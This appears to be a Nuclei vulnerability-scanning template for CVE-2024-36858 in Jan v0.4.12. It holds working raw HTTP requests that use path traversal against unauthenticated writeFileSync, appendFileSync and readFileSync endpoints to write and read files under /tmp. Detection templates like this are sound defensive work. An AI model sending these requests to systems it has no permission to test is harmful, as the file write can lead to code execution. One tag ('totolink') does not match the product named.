id: CVE-2024-36858 info: name: Jan v0.4.12 - Arbitrary File Upload author: pussycat0x severity: critical description: | An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file. impact: | Unauthenticated attackers can upload crafted files to execute arbitrary code on the server. remediation: | Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability. reference: - https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-36858 cwe-id: CWE-434 epss-score: 0.0306 epss-percentile: 0.85844 cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:* metadata: vendor: homebrew product: jan fofa-query: icon_hash="-165268926" tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln variables: filename: "{{to_lower(rand_text_alpha(6))}}" string: "{{rand_text_alpha(10)}}" flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body,"Jan")' - "contains(content_type, 'text/html')" - "status_code == 200" condition: and internal: true - raw: - | POST /v1/app/writeFileSync HTTP/1.1 Host: {{Hostname}} Referer: {{RootURL}} contentType: application/json Content-Type: text/plain;charset=UTF-8 Origin: {{RootURL}} ["/../../../../../tmp/{{filename}}.txt","{{randstr}}"] - | POST /v1/app/appendFileSync HTTP/1.1 Host: {{Hostname}} Referer: {{RootURL}} contentType: application/json Content-Type: text/plain;charset=UTF-8 Origin: {{RootURL}} ["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"] - | POST /v1/app/readFileSync HTTP/1.1 Host: {{Hostname}} Referer: {{RootURL}} contentType: application/json Content-Type: text/plain;charset=UTF-8 Origin: {{RootURL}} ["file:/../../../../../../tmp/{{filename}}.txt","utf-8"] matchers: - type: dsl dsl: - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200' - 'contains(body_3, "{{string}}")' condition: and # digest: 4a0a00473045022076a298dcb207a20d9444fd3ca1effdd9eb8f10c24a09299ee0014c1ef295dc40022100ca18731899b859b8040b85f4f835178cb390efc7057621bc2df69cd7adafc508:922c64590222798bb761d5b6d8e72950